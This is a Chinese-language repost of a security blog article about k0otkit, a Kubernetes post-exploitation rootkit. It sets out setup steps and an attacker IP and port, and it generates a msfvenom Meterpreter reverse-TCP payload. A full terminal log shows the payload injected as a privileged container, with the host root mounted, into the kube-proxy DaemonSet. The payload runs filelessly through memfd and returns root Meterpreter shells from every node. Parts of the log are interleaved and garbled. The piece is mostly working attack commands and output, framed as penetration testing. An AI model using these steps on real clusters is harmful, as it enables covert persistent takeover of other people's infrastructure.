如何使用k0otkit对Kubernetes集群进行渗透测试

admin 2025年1月12日00:08:22评论11 views字数 10056阅读33分31秒阅读模式

如何使用k0otkit对Kubernetes集群进行渗透测试

 关于k0otkit 

k0otkit是一种针对Kubernetes集群的通用后渗透技术,在该工具的帮助下,广大研究人员可以轻松对Kubernetes集群进行渗透测试。

k0otkit允许我们以各种方式轻松修改或操作(通过反向Shell)目标Kubernetes集群中的所有节点。本质上来说,k0otkit是Kubernetes和rootkit工具的结合体。

 工具特性 

1、可以利用K8s的资源和功能来实现渗透测试;

2、动态容器注入技术;

3、通信加密(基于Meterpreter);

4、无文件;

 工具使用场景 

1、Web渗透测试完成之后,拿到目标的Shell;

2、如果有需要的话,还得设法提升权限;

3、发现目标环境是Kubernetes集群中的一个容器(Pod);

4、设法实现容器逃逸(可利用CVE-2016-5195、CVE-2019-5736、docker.sock或其他技术);

5、获取主节点的root shell,并且可以使用主节点上的kubectl作为管理员来控制目标集群;

6、现在,如果你想控制目标Kubernetes集群中的所有节点,就可以开始使用k0otkit了;

 工具要求 

k0otkit是一款后渗透测试工具,因此我们首先要能够进入到目标Kubernetes集群,然后以某种方法从容器中逃逸,并获取到主节点的root权限。更确切地来说,我们首先要获取到目标Kubernetes集群的管理员权限,才能开始使用k0otkit。

 工具下载 

确保我们已经拿到了目标Kubernetes集群的root shell(如果你想获取目标Kubernetes集群的管理员权限,同样可以使用k0otkit的来实现,不过你可能需要修改k0otkit_template.sh中的kubectl命令)。除此之外,你还需要确保在本地设备上安装并配置好了Metasploit工具,并确保msfvenom和msfconsole命令可用。

部署k0otkit

首先,我们需要使用下列命令将该项目源码克隆至本地,并给脚本提供可执行权限:

git clone https://github.com/brant-ruan/k0otkitcd k0otkit/chmod +x ./*.sh

接下来,替换pre_exp.sh脚本中的IP地址和端口为我们自己设备的IP和端口信息:

ATTACKER_IP=192.168.1.107ATTACKER_PORT=4444

下列命令可以生成k0otkit:

./pre_exp.sh

生成了k0otkit.sh之后,下列命令将运行反向Shell处理器:

./handle_multi_reverse_shell.sh

 工具使用 

生成k0otkit

kali@kali:~/k0otkit$ ./pre_exp.sh+ ATTACKER_IP=192.168.1.107+ ATTACKER_PORT=4444+ TEMP_MRT=mrt+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt++ xxd -p mrt++ tr -d 'n'++ base64 -w 0+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

运行反向Shell处理器:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.shpayload => linux/x86/meterpreter/reverse_tcpLHOST => 0.0.0.0LPORT => 4444ExitOnSession => false[*] Exploit running as background job 0.[*] Exploit completed, but no session was created.[*] Started reverse TCP handler on 0.0.0.0:4444msf5 exploit(multi/handler) >

在目标Kubernetes集群的主节点中拷贝k0otkit.sh的内容到Shell中,然后按下回车运行:

kali@kali:~$ nc -lvnp 10000listening on [any] 10000 ...connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750root@victim-2:~# volume_name=cachemount_path=/var/kube-proxy-cachectr_name=kube-proxy-cachebinary_file=/usr/local/bin/kube-proxy-cachepayload_name=cachesecret_name=proxy-cachesecret_data_name=contentctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')# create payload secretcat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -apiVersion: v1kind: Secretmetadata:  name: $secret_name  namespace:volume_name=cacheroot@victim-2:~#root@victim-2:~# mount_path=/var/kube-p kube-systemtype: Opaquedata:  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgwEOF# assume that ctr_line_num < volume_line_num# otherwise you should switch the two sed commands below# inject malicious container into kube-proxy podkubecroxy-cacheroot@victim-2:~#root@victim-2:~# ctr_name=kube-proxy-cacheroot@victim-2:~#root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cacheroot@victim-2:~#root@victim-2:~# payload_name=cacheroot@victim-2:~#root@victim-2:~# secret_name=proxy-cacheroot@victim-2:~#root@victim-2:~# secret_data_name=contentroot@victim-2:~#root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml   | sed "$volume_line_num a      - name: $volume_namen        hostPath:n          path: /n          type: Directoryn"   | sed "$ctr_line_num a      - name: $ctr_namen        image: $imagen        imagePullPolicy: IfNotPresentn        command: ["sh"]n        args: ["-c", "echo $$payload_name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select($FH), $|=1)[0]); print $FH pack q/H*/, <STDIN>; my $pid = fork(); if (0 != $pid) { wait }; if (0 == $pid){system(qq(/proc/$$$$/fd/$fd))}'"]n        env:n          - name: $payload_namen            valueFrom:n              secretKeyRef:n          pr      name: $secret_namen                key: $secret_data_namen        securityContext:n          privileged: truen        volumeMounts:n        - mountPath: $mount_pathn          name: $volume_name" containers:/{print NR}')oxy -o yaml | awk '/root@victim-2:~#root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')root@victim-2:~#root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')root@victim-2:~#root@victim-2:~# # create payload secretroot@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -> apiVersion: v1> kind: Secret> metadata:>   name: $secret_name>   namespace: kube-system> type: Opaque> data:>   $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw> EOFsecret/proxy-cache createdroot@victim-2:~#root@victim-2:~# # assume that ctr_line_num < volume_line_numroot@victim-2:~# # otherwise you should switch the two sed commands belowroot@victim-2:~#root@victim-2:~# # inject malicious container into kube-proxy podroot@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml >   | sed "$volume_line_num a      - name: $volume_namen        hostPath:n          path: /n          type: Directoryn" >   | sed "$ctr_line_num a      - name: $ctr_namen        image: $imagen        imagePullPolicy: IfNotPresentn        command: ["sh"]n        args: ["-c", "echo $$payload_name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select($FH), $|=1)[0]); print $FH pack q/H*/, <STDIN>; my $pid = fork(); if (0 != $pid) { wait }; if (0 == $pid){system(qq(/proc/$$$$/fd/$fd))}'"]n        env:n          - name: $payload_namen            valueFrom:n              secretKeyRef:n                name: $secret_namen                key: $secret_data_namen        securityContext:n          privileged: truen        volumeMounts:n        - mountPath: $mount_pathn          name: $volume_name" >   | kubectl replace -f -daemonset.extensions/kube-proxy replaced

等待反向Shell生成:

msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500msf5 exploit(multi/handler) > sessionsActive sessions===============  Id  Name  Type                   Information                                    Connection  --  ----  ----                   -----------                                    ----------  1         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106  192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

功能1-退出&重新连接:

msf5 exploit(multi/handler) > sessions 1[*] Starting interaction with 1...meterpreter > shellProcess 9 created.Channel 1 created.whoamirootexitmeterpreter > exit[*] Shutting down Meterpreter...[*] 192.168.1.106 - Meterpreter session 1 closed.  Reason: User exitmsf5 exploit(multi/handler) >[*] Sending stage (985320 bytes) to 192.168.1.106[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

功能2-控制节点:

msf5 exploit(multi/handler) > sessions 2[*] Starting interaction with 2...meterpreter > cd /var/kube-proxy-cachemeterpreter > lsListing: /var/kube-proxy-cache==============================Mode              Size      Type  Last modified              Name----              ----      ----  -------------              ----40755/rwxr-xr-x   4096      dir   2020-03-03 03:21:08 -0500  bin40755/rwxr-xr-x   4096      dir   2020-03-05 22:23:56 -0500  boot40755/rwxr-xr-x   4180      dir   2020-04-09 21:32:10 -0400  dev40755/rwxr-xr-x   4096      dir   2020-04-17 02:31:15 -0400  etc40755/rwxr-xr-x   4096      dir   2020-03-03 03:00:00 -0500  home100644/rw-r--r--  36257923  fil   2020-03-05 22:23:56 -0500  initrd.img100644/rw-r--r--  39829184  fil   2020-03-03 03:00:17 -0500  initrd.img.old40755/rwxr-xr-x   4096      dir   2020-04-16 03:52:46 -0400  lib40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  lib6440700/rwx------   16384     dir   2020-03-03 02:33:19 -0500  lost+found40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:29 -0500  media40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  mnt40755/rwxr-xr-x   4096      dir   2020-04-16 03:59:01 -0400  opt40555/r-xr-xr-x   0         dir   2020-04-09 21:32:01 -0400  proc40700/rwx------   4096      dir   2020-11-30 04:00:05 -0500  root40755/rwxr-xr-x   1020      dir   2020-11-30 04:04:59 -0500  run40755/rwxr-xr-x   12288     dir   2020-04-16 03:52:46 -0400  sbin40755/rwxr-xr-x   4096      dir   2020-03-03 03:02:37 -0500  snap40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  srv40555/r-xr-xr-x   0         dir   2020-04-14 22:51:06 -0400  sys41777/rwxrwxrwx   4096      dir   2020-11-30 04:10:07 -0500  tmp40755/rwxr-xr-x   4096      dir   2020-04-16 04:42:54 -0400  usr40755/rwxr-xr-x   4096      dir   2020-03-03 02:51:25 -0500  var100600/rw-------  6712336   fil   2020-03-05 22:22:58 -0500  vmlinuz100600/rw-------  7184032   fil   2020-03-03 02:33:55 -0500  vmlinuz.old

项目地址

https://github.com/Metarget/k0otkit

参考资料

https://mp.weixin.qq.com/s/H48WNRRtlJil9uLt-O9asw

原文始发于微信公众号(FreeBuf):如何使用k0otkit对Kubernetes集群进行渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月12日00:08:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何使用k0otkit对Kubernetes集群进行渗透测试http://cn-sec.com/archives/1126168.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息